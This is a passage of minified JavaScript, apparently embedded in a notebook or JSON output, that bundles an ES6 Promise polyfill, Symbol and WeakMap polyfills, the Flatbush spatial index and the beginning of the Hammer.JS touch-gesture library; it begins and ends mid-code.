r)this._remaining--,this._result[t]=e;else if(i===B){var o=new i(w);E(o,e,r),this._willSettleAt(o,t)}else this._willSettleAt(new i(function(t){return t(e)}),t)}else this._willSettleAt(n(e),t)},t.prototype._settledAt=function(t,e,i){var n=this.promise;n._state===k&&(this._remaining--,t===C?P(n,i):this._result[e]=i),0===this._remaining&&z(n,this._result)},t.prototype._willSettleAt=function(t,e){var i=this;j(t,void 0,function(t){return i._settledAt(S,e,t)},function(t){return i._settledAt(C,e,t)})},t}(),B=function(){function e(t){this[x]=D++,this._result=this._state=void 0,this._subscribers=[],w!==t&&(\\\"function\\\"!=typeof t&&function(){throw new TypeError(\\\"You must pass a resolver function as the first argument to the promise constructor\\\")}(),this instanceof e?function(e,t){try{t(function(t){M(e,t)},function(t){P(e,t)})}catch(t){P(e,t)}}(this,t):function(){throw new TypeError(\\\"Failed to construct 'Promise': Please use the 'new' operator, this object constructor cannot be called as a function.\\\")}())}return e.prototype.catch=function(t){return this.then(null,t)},e.prototype.finally=function(e){var i=this.constructor;return this.then(function(t){return i.resolve(e()).then(function(){return t})},function(t){return i.resolve(e()).then(function(){throw t})})},e}();return B.prototype.then=y,B.all=function(t){return new R(this,t).promise},B.race=function(r){var o=this;return i(r)?new o(function(t,e){for(var i=r.length,n=0;n<i;n++)o.resolve(r[n]).then(t,e)}):new o(function(t,e){return e(new TypeError(\\\"You must pass an array to race.\\\"))})},B.resolve=b,B.reject=function(t){var e=new this(w);return P(e,t),e},B._setScheduler=function(t){r=t},B._setAsap=function(t){a=t},B._asap=a,B.polyfill=function(){var t=void 0;if(\\\"undefined\\\"!=typeof global)t=global;else if(\\\"undefined\\\"!=typeof self)t=self;else try{t=Function(\\\"return this\\\")()}catch(t){throw new Error(\\\"polyfill failed because global object is unavailable in this environment\\\")}var e=t.Promise;if(e){var i=null;try{i=Object.prototype.toString.call(e.resolve())}catch(t){}if(\\\"[object Promise]\\\"===i&&!e.cast)return}t.Promise=B},B.Promise=B},\\\"object\\\"==typeof e&&void 0!==t?t.exports=n():i.ES6Promise=n()},function(t,e,i){e.exports=t(338)()?Symbol:t(340)},function(t,e,i){var n={object:!0,symbol:!0};e.exports=function(){var t;if(\\\"function\\\"!=typeof Symbol)return!1;t=Symbol(\\\"test symbol\\\");try{String(t)}catch(t){return!1}return!!n[typeof Symbol.iterator]&&!!n[typeof Symbol.toPrimitive]&&!!n[typeof Symbol.toStringTag]}},function(t,e,i){e.exports=function(t){return!!t&&(\\\"symbol\\\"==typeof t||!!t.constructor&&\\\"Symbol\\\"===t.constructor.name&&\\\"Symbol\\\"===t[t.constructor.toStringTag])}},function(t,e,i){var n,r,o,s,a=t(289),l=t(341),h=Object.create,u=Object.defineProperties,c=Object.defineProperty,_=Object.prototype,p=h(null);if(\\\"function\\\"==typeof Symbol){n=Symbol;try{String(n()),s=!0}catch(t){}}var d,f=(d=h(null),function(t){for(var e,i,n=0;d[t+(n||\\\"\\\")];)++n;return d[t+=n||\\\"\\\"]=!0,c(_,e=\\\"@@\\\"+t,a.gs(null,function(t){i||(i=!0,c(this,e,a(t)),i=!1)})),e});o=function(t){if(this instanceof o)throw new TypeError(\\\"Symbol is not a constructor\\\");return r(t)},e.exports=r=function t(e){var i;if(this instanceof t)throw new TypeError(\\\"Symbol is not a constructor\\\");return s?n(e):(i=h(o.prototype),e=void 0===e?\\\"\\\":String(e),u(i,{__description__:a(\\\"\\\",e),__name__:a(\\\"\\\",f(e))}))},u(r,{for:a(function(t){return p[t]?p[t]:p[t]=r(String(t))}),keyFor:a(function(t){var e;for(e in l(t),p)if(p[e]===t)return e}),hasInstance:a(\\\"\\\",n&&n.hasInstance||r(\\\"hasInstance\\\")),isConcatSpreadable:a(\\\"\\\",n&&n.isConcatSpreadable||r(\\\"isConcatSpreadable\\\")),iterator:a(\\\"\\\",n&&n.iterator||r(\\\"iterator\\\")),match:a(\\\"\\\",n&&n.match||r(\\\"match\\\")),replace:a(\\\"\\\",n&&n.replace||r(\\\"replace\\\")),search:a(\\\"\\\",n&&n.search||r(\\\"search\\\")),species:a(\\\"\\\",n&&n.species||r(\\\"species\\\")),split:a(\\\"\\\",n&&n.split||r(\\\"split\\\")),toPrimitive:a(\\\"\\\",n&&n.toPrimitive||r(\\\"toPrimitive\\\")),toStringTag:a(\\\"\\\",n&&n.toStringTag||r(\\\"toStringTag\\\")),unscopables:a(\\\"\\\",n&&n.unscopables||r(\\\"unscopables\\\"))}),u(o.prototype,{constructor:a(r),toString:a(\\\"\\\",function(){return this.__name__})}),u(r.prototype,{toString:a(function(){return\\\"Symbol (\\\"+l(this).__description__+\\\")\\\"}),valueOf:a(function(){return l(this)})}),c(r.prototype,r.toPrimitive,a(\\\"\\\",function(){var t=l(this);return\\\"symbol\\\"==typeof t?t:t.toString()})),c(r.prototype,r.toStringTag,a(\\\"c\\\",\\\"Symbol\\\")),c(o.prototype,r.toStringTag,a(\\\"c\\\",r.prototype[r.toStringTag])),c(o.prototype,r.toPrimitive,a(\\\"c\\\",r.prototype[r.toPrimitive]))},function(t,e,i){var n=t(339);e.exports=function(t){if(!n(t))throw new TypeError(t+\\\" is not a symbol\\\");return t}},function(t,e,i){t(343)()||Object.defineProperty(t(297),\\\"WeakMap\\\",{value:t(345),configurable:!0,enumerable:!1,writable:!0})},function(t,e,i){e.exports=function(){var t,e;if(\\\"function\\\"!=typeof WeakMap)return!1;try{t=new WeakMap([[e={},\\\"one\\\"],[{},\\\"two\\\"],[{},\\\"three\\\"]])}catch(t){return!1}return\\\"[object WeakMap]\\\"===String(t)&&\\\"function\\\"==typeof t.set&&t.set({},1)===t&&\\\"function\\\"==typeof t.delete&&\\\"function\\\"==typeof t.has&&\\\"one\\\"===t.get(e)}},function(t,e,i){e.exports=\\\"function\\\"==typeof WeakMap&&\\\"[object WeakMap]\\\"===Object.prototype.toString.call(new WeakMap)},function(t,e,i){var n,r=t(318),o=t(322),s=t(323),a=t(328),l=t(289),h=t(331),u=t(330),c=t(337).toStringTag,_=t(344),p=Array.isArray,d=Object.defineProperty,f=Object.prototype.hasOwnProperty,v=Object.getPrototypeOf;e.exports=n=function(){var e,t=arguments[0];if(!(this instanceof n))throw new TypeError(\\\"Constructor requires 'new'\\\");return e=_&&r&&WeakMap!==n?r(new WeakMap,v(this)):this,null!=t&&(p(t)||(t=h(t))),d(e,\\\"__weakMapData__\\\",l(\\\"c\\\",\\\"$weakMap$\\\"+a())),t&&u(t,function(t){s(t),e.set(t[0],t[1])}),e},_&&(r&&r(n,WeakMap),n.prototype=Object.create(WeakMap.prototype,{constructor:l(n)})),Object.defineProperties(n.prototype,{delete:l(function(t){return!!f.call(o(t),this.__weakMapData__)&&(delete t[this.__weakMapData__],!0)}),get:l(function(t){if(f.call(o(t),this.__weakMapData__))return t[this.__weakMapData__]}),has:l(function(t){return f.call(o(t),this.__weakMapData__)}),set:l(function(t,e){return d(o(t),this.__weakMapData__,l(\\\"c\\\",e)),this}),toString:l(function(){return\\\"[object WeakMap]\\\"})}),d(n.prototype,c,l(\\\"c\\\",\\\"WeakMap\\\"))},function(t,e,i){var n,r;n=this,r=function(){\\\"use strict\\\";var l=[Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array],h=function(t,e,i,n){if(void 0===t)throw new Error(\\\"Missing required argument: numItems.\\\");if(isNaN(t)||t<=0)throw new Error(\\\"Unpexpected numItems value: \\\"+t+\\\".\\\");this.numItems=+t,this.nodeSize=Math.min(Math.max(+e||16,2),65535);var r=t,o=r;for(this._levelBounds=[4*r];r=Math.ceil(r/this.nodeSize),o+=r,this._levelBounds.push(4*o),1!==r;);this.ArrayType=i||Float64Array,this.IndexArrayType=o<16384?Uint16Array:Uint32Array;var s=l.indexOf(this.ArrayType),a=4*o*this.ArrayType.BYTES_PER_ELEMENT;if(s<0)throw new Error(\\\"Unexpected typed array class: \\\"+i+\\\".\\\");n&&n instanceof ArrayBuffer?(this.data=n,this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=4*o,this.minX=this._boxes[this._pos-4],this.minY=this._boxes[this._pos-3],this.maxX=this._boxes[this._pos-2],this.maxY=this._boxes[this._pos-1]):(this.data=new ArrayBuffer(8+a+o*this.IndexArrayType.BYTES_PER_ELEMENT),this._boxes=new this.ArrayType(this.data,8,4*o),this._indices=new this.IndexArrayType(this.data,8+a,o),this._pos=0,this.minX=1/0,this.minY=1/0,this.maxX=-1/0,this.maxY=-1/0,new Uint8Array(this.data,0,2).set([251,48+s]),new Uint16Array(this.data,2,1)[0]=e,new Uint32Array(this.data,4,1)[0]=t)};function C(t,e,i,n,r){var o=t[n];t[n]=t[r],t[r]=o;var s=4*n,a=4*r,l=e[s],h=e[s+1],u=e[s+2],c=e[s+3];e[s]=e[a],e[s+1]=e[a+1],e[s+2]=e[a+2],e[s+3]=e[a+3],e[a]=l,e[a+1]=h,e[a+2]=u,e[a+3]=c;var _=i[n];i[n]=i[r],i[r]=_}function T(t,e){var i=t^e,n=65535^i,r=65535^(t|e),o=t&(65535^e),s=i|n>>1,a=i>>1^i,l=r>>1^n&o>>1^r,h=i&r>>1^o>>1^o;a=(i=s)&(n=a)>>2^n&(i^n)>>2,l^=i&(r=l)>>2^n&(o=h)>>2,h^=n&r>>2^(i^n)&o>>2,a=(i=s=i&i>>2^n&n>>2)&(n=a)>>4^n&(i^n)>>4,l^=i&(r=l)>>4^n&(o=h)>>4,h^=n&r>>4^(i^n)&o>>4,l^=(i=s=i&i>>4^n&n>>4)&(r=l)>>8^(n=a)&(o=h)>>8;var u=t^e,c=(n=(h^=n&r>>8^(i^n)&o>>8)^h>>1)|65535^(u|(i=l^l>>1));return((c=1431655765&((c=858993459&((c=252645135&((c=16711935&(c|c<<8))|c<<4))|c<<2))|c<<1))<<1|(u=1431655765&((u=858993459&((u=252645135&((u=16711935&(u|u<<8))|u<<4))|u<<2))|u<<1)))>>>0}return h.from=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Data must be an instance of ArrayBuffer.\\\");var e=new Uint8Array(t,0,2),i=e[0],n=e[1];if(251!==i)throw new Error(\\\"Data does not appear to be in a Flatbush format.\\\");if(n>>4!=3)throw new Error(\\\"Got v\\\"+(n>>4)+\\\" data when expected v3.\\\");var r=new Uint16Array(t,2,1),o=r[0],s=new Uint32Array(t,4,1),a=s[0];return new h(a,o,l[15&n],t)},h.prototype.add=function(t,e,i,n){var r=this._pos>>2;this._indices[r]=r,this._boxes[this._pos++]=t,this._boxes[this._pos++]=e,this._boxes[this._pos++]=i,this._boxes[this._pos++]=n,t<this.minX&&(this.minX=t),e<this.minY&&(this.minY=e),i>this.maxX&&(this.maxX=i),n>this.maxY&&(this.maxY=n)},h.prototype.finish=function(){var t=this;if(this._pos>>2!==this.numItems)throw new Error(\\\"Added \\\"+(this._pos>>2)+\\\" items when expected \\\"+this.numItems+\\\".\\\");for(var e=this.maxX-this.minX,i=this.maxY-this.minY,n=new Uint32Array(this.numItems),r=0;r<this.numItems;r++){var o=4*r,s=t._boxes[o++],a=t._boxes[o++],l=t._boxes[o++],h=t._boxes[o++],u=Math.floor(65535*((s+l)/2-t.minX)/e),c=Math.floor(65535*((a+h)/2-t.minY)/i);n[r]=T(u,c)}!function t(e,i,n,r,o){if(!(o<=r)){for(var s=e[r+o>>1],a=r-1,l=o+1;;){for(;e[++a]<s;);for(;e[--l]>s;);if(l<=a)break;C(e,i,n,a,l)}t(e,i,n,r,l),t(e,i,n,l+1,o)}}(n,this._boxes,this._indices,0,this.numItems-1);for(var _=0,p=0;_<this._levelBounds.length-1;_++)for(var d=t._levelBounds[_];p<d;){for(var f=1/0,v=1/0,m=-1/0,g=-1/0,y=p,b=0;b<this.nodeSize&&p<d;b++){var x=t._boxes[p++],w=t._boxes[p++],k=t._boxes[p++],S=t._boxes[p++];x<f&&(f=x),w<v&&(v=w),m<k&&(m=k),g<S&&(g=S)}t._indices[t._pos>>2]=y,t._boxes[t._pos++]=f,t._boxes[t._pos++]=v,t._boxes[t._pos++]=m,t._boxes[t._pos++]=g}},h.prototype.search=function(t,e,i,n,r){if(this._pos!==this._boxes.length)throw new Error(\\\"Data not yet indexed - call index.finish().\\\");for(var o=this._boxes.length-4,s=this._levelBounds.length-1,a=[],l=[];void 0!==o;){for(var h=Math.min(o+4*this.nodeSize,this._levelBounds[s]),u=o;u<h;u+=4){var c=this._indices[u>>2];i<this._boxes[u]||n<this._boxes[u+1]||t>this._boxes[u+2]||e>this._boxes[u+3]||(o<4*this.numItems?(void 0===r||r(c))&&l.push(c):(a.push(c),a.push(s-1)))}s=a.pop(),o=a.pop()}return l},h},\\\"object\\\"==typeof i&&void 0!==e?e.exports=r():n.Flatbush=r()},function(t,Yt,e){\\n\",\n       \"      /*! Hammer.JS - v2.0.7 - 2016-04-22\\n\",\n       \"           * http://hammerjs.github.io/\\n\",\n       \"           *\\n\",\n       \"           * Copyright (c) 2016 Jorik Tangelder;\\n\",\n       \"           * Licensed under the MIT license */\\n\",\n       \"      !function(o,a,t,x){\\\"use strict\\\";var s,l=[\\\"\\\",\\\"webkit\\\",\\\"Moz\\\",\\\"MS\\\",\\\"ms\\\",\\\"o\\\"],e=a.createElement(\\\"div\\\"),i=\\\"function\\\",h=Math.round,w=Math.abs,k=Date.now;function u(t,e,i){return setTimeout(f(t,i),e)}function n(t,e,i){return!!Array.isArray(t)&&(c(t,i[e],i),!0)}function c(t,e,i){var n;if(t)if(t.forEach)t.forEach(e,i);else if(t.length!==x)for(n=0;n<t.length;)e.call(i,t[n],n,t),n++;else for(n in t)t.hasOwnProperty(n)&&e.call(i,t[n],n,t)}function r(n,t,e){var r=\\\"DEPRECATED METHOD: \\\"+t+\\\"\\\\n\\\"+e+\\\" AT \\\\n\\\";return function(){var t=new Error(\\\"get-stack-trace\\\"),e=t&&t.stack?t.stack.replace(/^[^\\\\(]+?[\\\\n$]/gm,\\\"\\\").replace(/^\\\\s+at\\\\s+/gm,\\\"\\\").replace(/^Object.<anonymous>\\\\s*\\\\(/gm,\\\"{anonymous}()@\\\"):\\\"Unknown Stack Trace\\\",i=o.console&&(o.console.warn||o.console.log);return i&&i.call(o.console,r,e),n.apply(this,arguments)}}s=\\\"function\\\"!=typeof Object.assign?function(t){if(t===x||null===t)throw new TypeError(\\\"Cannot convert undefined or null to object\\\");for(var e=Object(t),i=1;i<arguments.length;i++){var n=arguments[i];if(n!==x&&null!==n)for(var r in n)n.hasOwnProperty(r)&&(e[r]=n[r])}return e}:Object.assign;var _=r(function(t,e,i){for(var n=Object.keys(e),r=0;r<n.length;)(!i||i&&t[n[r]]===x)&&(t[n[r]]=e[n[r]]),r++;return t},\\\"extend\\\",\\\"Use `assign`.\\\"),p=r(function(t,e){return _(t,e,!0)},\\\"merge\\\",\\\"Use `assign`.\\\");function d(t,e,i){var n,r=e.prototype;(n=t.prototype=Object.create(r)).constructor=t,n._super=r,i&&s(n,i)}function f(t,e){return function(){return t.apply(e,arguments)}}function v(t,e){return typeof t==i?t.apply(e&&e[0]||x,e):t}function m(t,e){return t===x?e:t}function g(e,t,i){c(C(t),function(t){e.addEventListener(t,i,!1)})}function y(e,t,i){c(C(t),function(t){e.removeEventListener(t,i,!1)})}function S(t,e){for(;t;){if(t==e)return!0;t=t.parentNode}return!1}function b(t,e){return-1<t.indexOf(e)}function C(t){return t.trim().split(/\\\\s+/g)}function T(t,e,i){if(t.indexOf&&!i)return t.indexOf(e);for(var n=0;n<t.length;){if(i&&t[n][i]==e||!i&&t[n]===e)return n;n++}return-1}function A(t){return Array.prototype.slice.call(t,0)}function E(t,i,e){for(var n=[],r=[],o=0;o<t.length;){var s=i?t[o][i]:t[o];T(r,s)<0&&n.push(t[o]),r[o]=s,o++}return e&&(n=i?n.sort(function(t,e){return t[i]>e[i]}):n.sort()),n}function M(t,e){for(var i,n,r=e[0].toUpperCase()+e.slice(1),o=0;o<l.length;){if(i=l[o],(n=i?i+r:e)in t)return n;o++}return x}var O=1;function z(t){var e=t.ownerDocument||t;return e.defaultView||e.parentWindow||o}var P=\\\"ontouchstart\\\"in o,j=M(o,\\\"PointerEvent\\\")!==x,N=P&&/mobile|tablet|ip(ad|hone|od)|android/i.test(navigator.userAgent),F=\\\"touch\\\",D=25,I=1,R=4,B=8,L=1,V=2,G=4,U=8,q=16,Y=V|G,X=U|q,H=Y|X,W=[\\\"x\\\",\\\"y\\\"],J=[\\\"clientX\\\",\\\"clientY\\\"];function Q(e,t){var i=this;this.manager=e,this.callback=t,this.element=e.element,this.target=e.options.inputTarget,this.domHandler=function(t){v(e.options.enable,[e])&&i.handler(t)},this.init()}function $(t,e,i){var n=i.pointers.length,r=i.changedPointers.length,o=e&I&&n-r==0,s=e&(R|B)&&n-r==0;i.isFirst=!!o,i.isFinal=!!s,o&&(t.session={}),i.eventType=e,function(t,e){var i=t.session,n=e.pointers,r=n.length;i.firstInput||(i.firstInput=K(e)),1<r&&!i.firstMultiple?i.firstMultiple=K(e):1===r&&(i.firstMultiple=!1);var o,s,a,l,h,u,c=i.firstInput,_=i.firstMultiple,p=_?_.center:c.center,d=e.center=Z(n);e.timeStamp=k(),e.deltaTime=e.timeStamp-c.timeStamp,e.angle=nt(p,d),e.distance=it(p,d),o=i,a=(s=e).center,l=o.offsetDelta||{},h=o.prevDelta||{},u=o.prevInput||{},s.eventType!==I&&u.eventType!==R||(h=o.prevDelta={x:u.deltaX||0,y:u.deltaY||0},l=o.offsetDelta={x:a.x,y:a.y}),s.deltaX=h.x+(a.x-l.x),s.deltaY=h.y+(a.y-l.y),e.offsetDirection=et(e.deltaX,e.deltaY);var f,v,m,g,y=tt(e.deltaTime,e.deltaX,e.deltaY);e.overallVelocityX=y.x,e.overallVelocityY=y.y,e.overallVelocity=w(y.x)>w(y.y)?y.x:y.y,e.scale=_?(m=_.pointers,it((g=n)[0],g[1],J)/it(m[0],m[1],J)):1,e.rotation=_?(f=_.pointers,nt((v=n)[1],v[0],J)+nt(f[1],f[0],J)):0,e.maxPointers=i.prevInput?e.pointers.length>i.prevInput.maxPointers?e.pointers.length:i.prevInput.maxPointers:e.pointers.length,function(t,e){var i,n,r,o,s=t.lastInterval||e,a=e.timeStamp-s.timeStamp;if(e.eventType!=B&&(D<a||s.velocity===x)){var l=e.deltaX-s.deltaX,h=e.deltaY-s.deltaY,u=tt(a,l,h);n=u.x,r=u.y,i=w(u.x)>w(u.y)?u.x:u.y,o=et(l,h),t.lastInterval=e}else i=s.velocity,n=s.velocityX,r=s.velocityY,o=s.direction;e.velocity=i,e.velocityX=n,e.velocityY=r,e.direction=o}(i,e);var b=t.element;S(e.srcEvent.target,b)&&(b=e.srcEvent.target),e.target=b}(t,i),t.emit(\\\"hammer.input\\\",i),t.recognize(i),t.session.prevInput=i}function K(t){for(var e=[],i=0;i<t.pointers.length;)e[i]={clientX:h(t.pointers[i].clientX),clientY:h(t.pointers[i].clientY)},i++;return{timeStamp:k(),pointers:e,center:Z(e),deltaX:t.deltaX,deltaY:t.deltaY}}function Z(t){var e=t.length;if(1===e)return{x:h(t[0].clientX),y:h(t[0].clientY)};for(var i=0,n=0,r=0;r<e;)i+=t[r].clientX,n+=t[r].clientY,r++;return{x:h(i/e),y:h(n/e)}}function tt(t,e,i){return{x:e/t||0,y:i/t||0}}function et(t,e){return t===e?L:w(t)>=w(e)?t<0?V:G:e<0?U:q}function it(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return Math.sqrt(n*n+r*r)}function nt(t,e,i){i||(i=W);var n=e[i[0]]-t[i[0]],r=e[i[1]]-t[i[1]];return 180*Math.atan2(r,n)/Math.PI}Q.prototype={handler:function(){},init:function(){this.evEl&&g(this.element,this.evEl,this.domHandler),this.evTarget&&g(this.target,this.evTarget,this.domHandler),this.evWin&&g(z(this.element),this.evWin,this.domHandler)},destroy:function(){this.evEl&&y(this.element,this.evEl,this.domHandler),this.evTarget&&y(this.target,this.evTarget,this.domHandler),this.evWin&&y(z(this.element),this.evWin,this.domHandler)}};var rt={mousedown:I,mousemove:2,mouseup:R},ot=\\\"mousedown\\\",st=\\\"mousemove mouseup\\\";function at(){this.evEl=ot,this.evWin=st,this.pressed=!1,Q.apply(this,arguments)}d(at,Q,{handler:function(t){var e=rt[t.type];e&I&&0===t.button&&(this.pressed=!0),2&e&&1!==t.which&&(e=R),this.pressed&&(e&R&&(this.pressed=!1),this.callback(this.manager,e,{pointers:[t],changedPointers:[t],pointerType:\\\"mouse\\\",srcEvent:t}))}});var lt={pointerdown:I,pointermove:2,pointerup:R,pointercancel:B,pointerout:B},ht={2:F,3:\\\"pen\\\",4:\\\"mouse\\\",5:\\\"kinect\\\"},ut=\\\"pointerdown\\\",ct=\\\"pointermove pointerup pointercancel\\\";function _t(){this.evEl=ut,this.evWin=ct,Q.apply(this,arguments),this.store=this.manager.session.pointerEvents=[]}o.MSPointerEvent&&!o.PointerEvent&&(ut=\\\"MSPointerDown\\\",ct=\\\"MSPointerMove MSPointerUp MSPointerCancel\\\"),d(_t,Q,{handler:function(t){var e=this.store,i=!1,n=t.type.toLowerCase().replace(\\\"ms\\\",\\\"\\\"),r=lt[n],o=ht[t.pointerType]||t.pointerType,s=o==F,a=T(e,t.pointerId,\\\"pointerId\\\");r&I&&(0===t.button||s)?a<0&&(e.push(t),a=e.length-1):r&(R|B)&&(i=!0),a<0||(e[a]=t,this.callback(this.manager,r,{pointers:e,changedPointers:[t],pointerType:o,srcEvent:t}),i&&e.splice(a,1))}});var pt={touchstart:I,touchmove:2,touchend:R,touchcancel:B};function dt(){this.evTarget=\\\"touchstart\\\",this.evWin=\\\"touchstart touchmove touchend touchcancel\\\",this.started=!1,Q.apply(this,arguments)}d(dt,Q,{handler:function(t){var e=pt[t.type];if(e===I&&(this.started=!0),this.started){var i=function(t,e){var i=A(t.touches),n=A(t.changedTouches);return e&(R|B)&&(i=E(i.concat(n),\\\"identifier\\\",!0)),[i,n]}.call(this,t,e);e&(R|B)&&i[0].length-i[1].length==0&&(this.started=!1),this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}}});var ft={touchstart:I,touchmove:2,touchend:R,touchcancel:B},vt=\\\"touchstart touchmove touchend touchcancel\\\";function mt(){this.evTarget=vt,this.targetIds={},Q.apply(this,arguments)}d(mt,Q,{handler:function(t){var e=ft[t.type],i=function(t,e){var i=A(t.touches),n=this.targetIds;if(e&(2|I)&&1===i.length)return n[i[0].identifier]=!0,[i,i];var r,o,s=A(t.changedTouches),a=[],l=this.target;if(o=i.filter(function(t){return S(t.target,l)}),e===I)for(r=0;r<o.length;)n[o[r].identifier]=!0,r++;for(r=0;r<s.length;)n[s[r].identifier]&&a.push(s[r]),e&(R|B)&&delete n[s[r].identifier],r++;return a.length?[E(o.concat(a),\\\"identifier\\\",!0),a]:void 0}.call(this,t,e);i&&this.callback(this.manager,e,{pointers:i[0],changedPointers:i[1],pointerType:F,srcEvent:t})}});var gt=2500;function yt(){Q.apply(this,arguments);var t=f(this.handler,this);this.touch=new mt(this.manager,t),this.mouse=new at(this.manager,t),this.primaryTouch=null,this.lastTouches=[]}function bt(t){var e=t.changedPointers[0];if(e.identifier===this.primaryTouch){var i={x:e.clientX,y:e.clientY};this.lastTouches.push(i);var n=this.lastTouches;setTimeout(function(){var t=n.indexOf(i);-1<t&&n.splice(t,1)},gt)}}d(yt,Q,{handler:function(t,e,i){var n=i.pointerType==F,r=\\\"mouse\\\"==i.pointerType;if(!(r&&i.sourceCapabilities&&i.sourceCapabilities.firesTouchEvents)){if(n)(function(t,e){t&I?(this.primaryTouch=e.changedPointers[0].identifier,bt.call(this,e)):t&(R|B)&&bt.call(this,e)}).call(this,e,i);else if(r&&function(t){for(var e=t.srcEvent.clientX,i=t.srcEvent.clientY,n=0;n<this.lastTouches.length;n++){var r=this.lastTouches[n],o=Math.abs(e-r.x),s=Math.abs(i-r.y);if(o<=25&&s<=25)return!0}return!1}.call(this,i))return;this.callback(t,e,i)}},destroy:function(){this.touch.destroy(),this.mouse.destroy()}});var xt=M(e.style,\\\"touchAction\\\"),wt=xt!==x,kt=\\\"manipulation\\\",St=\\\"none\\\",Ct=\\\"pan-x\\\",Tt=\\\"pan-y\\\",At=function(){if(!wt)return!1;var e={},i=o.CSS&&o.CSS.supports;return[\\\"auto\\\",\\\"manipulation\\\",\\\"pan-y\\\",\\\"pan-x\\\",\\\"pan-x pan-y\\\",\\\"none\\\"].forEach(function(t){e[t]=!i||o.CSS.supports(\\\"touch-action\\\",t)}),e}();function Et(t,e){this.manager=t,this.set(e)}Et.prototype={set:function(t){\\\"compute\\\"==t&&(t=this.compute()),wt&&this.manager.element.style&&At[t]&&(this.manager.element.style[xt]=t),this.actions=t.toLowerCase().trim()},update:function(){this.set(this.manager.options.touchAction)},compute:function(){var e=[];return c(this.manager.recognizers,function(t){v(t.options.enable,[t])&&(e=e.concat(t.getTouchAction()))}),function(t){if(b(t,St))return St;var e=b(t,Ct),i=b(t,Tt);return e&&i?St:e||i?e?Ct:Tt:b(t,kt)?kt:\\\"auto\\\"}(e.join(\\\" \\\"))},preventDefaults:function(t){var e=t.srcEvent,i=t.offsetDirection;if(this.manager.session.prevented)e.preventDefault();else{var n=this.actions,r=b(n,St)&&!At.none,o=b(n,Tt)&&!At[Tt],s=b(n,Ct)&&!At[Ct];if(r){var a=1===t.pointers.length,l=t.distance<2,h=t.deltaTime<250;if(a&&l&&h)return}if(!s||!o)return r||o&&i&Y||s&&i&X?this.preventSrc(e):void 0}},preventSrc:function(t){this.manager.session.prevented=!0,t.preventDefault()}};var Mt=1;function Ot(t){this.options=s({},this.defaults,t||{}),this.id=O++,this.manager=null,this.options.enable=m(this.options.enable,!0),this.state=Mt,this.simultaneous={},this.requireFail=[]}function zt(t){return 16&t?\\\"cancel\\\":8&t?\\\"end\\\":4&t?\\\"move\\\":2&t?\\\"start\\\":\\\"\\\"}function Pt(t){return t==q?\\\"down\\\":t==U?\\\"up\\\":t==V?\\\"left\\\":t==G?\\\"right\\\":\\\"\\\"}function jt(t,e){var i=e.manager;return i?i.get(t):t}function Nt(){Ot.apply(this,arguments)}function Ft(){Nt.apply(this,arguments),this.pX=null,this.pY=null}function Dt(){Nt.apply(this,arguments)}function It(){Ot.apply(this,arguments),this._timer=null,this._input=null}function Rt(){Nt.apply(this,arguments)}function Bt(){Nt.apply(this,arguments)}function Lt(){Ot.apply(this,arguments),this.pTime=!1,this.pCenter=!1,this._timer=null,this._input=null,this.count=0}function Vt(t,e){return(e=e||{}).recognizers=m(e.recognizers,Vt.defaults.preset),new Gt(t,e)}function Gt(t,e){var i;this.options=s({},Vt.defaults,e||{}),this.options.inputTarget=this.options.inputTarget||t,this.handlers={},this.session={},this.recognizers=[],this.oldCssProps={},this.element=t,this.input=new((i=this).options.inputClass||(j?_t:N?mt:P?yt:at))(i,$),this.touchAction=new Et(this,this.options.touchAction),Ut(this,!0),c(this.options.recognizers,function(t){var e=this.add(new t[0](t[1]));t[2]&&e.recognizeWith(t[2]),t[3]&&e.requireFailure(t[3])},this)}function Ut(i,n){var r,o=i.element;o.style&&(c(i.options.cssProps,function(t,e){r=M(o.style,e),n?(i.oldCssProps[r]=o.style[r],o.style[r]=t):o.style[r]=i.oldCssProps[r]||\\\"\\\"}),n||(i.oldCssProps={}))}Ot.prototype={defaults:{},set:function(t){return s(this.options,t),this.manager&&this.manager.touchAction.update(),this},recognizeWith:function(t){if(n(t,\\\"recognizeWith\\\",this))return this;var e=this.simultaneous;return t=jt(t,this),e[t.id]||(e[t.id]=t).recognizeWith(this),this},dropRecognizeWith:function(t){return n(t,\\\"dropRecognizeWith\\\",this)||(t=jt(t,this),delete this.simultaneous[t.id]),this},requireFailure:function(t){if(n(t,\\\"requireFailure\\\",this))return this;var e=this.requireFail;return t=jt(t,this),-1===T(e,t)&&(e.push(t),t.requireFailure(this)),this},dropRequireFailure:function(t){if(n(t,\\\"dropRequireFailure\\\",this))return this;t=jt(t,this);var e=T(this.requireFail,t);return-1<e&&this.requireFail.splice(e,1),this},hasRequireFailures:function(){return 0<this.requireFail.length},canRecognizeWith:function(t){return!!this.simultaneous[t.id]},emit:function(e){var i=this,t=this.state;function n(t){i.manager.emit(t,e)}t<8&&n(i.options.event+zt(t)),n(i.options.event),e.additionalEvent&&n(e.additionalEvent),8<=t&&n(i.options.event+zt(t))},tryEmit:function(t){if(this.canEmit())return this.emit(t);this.state=32},canEmit:function(){for(var t=0;t<this.requireFail.length;){if(!(this.requireFail[t].state&(32|Mt)))return!1;t++}return!0},recognize:function(t){var e=s({},t);if(!v(this.options.enable,[this,e]))return this.reset(),void(this.state=32);56&this.state&&(this.state=Mt),this.state=this.process(e),30&this.state&&this.tryEmit(e)},process:function(t){},getTouchAction:function(){},reset:function(){}},d(Nt,Ot,{defaults:{pointers:1},attrTest:function(t){var e=this.options.pointers;return 0===e||t.pointers.length===e},process:function(t){var e=this.state,i=t.eventType,n=6&e,r=this.attrTest(t);return n&&(i&B||!r)?16|e:n||r?i&R?8|e:2&e?4|e:2:32}}),d(Ft,Nt,{defaults:{event:\\\"pan\\\",threshold:10,pointers:1,direction:H},getTouchAction:function(){var t=this.options.direction,e=[];return t&Y&&e.push(Tt),t&X&&e.push(Ct),e},directionTest:function(t){var e=this.options,i=!0,n=t.distance,r=t.direction,o=t.deltaX,s=t.deltaY;return 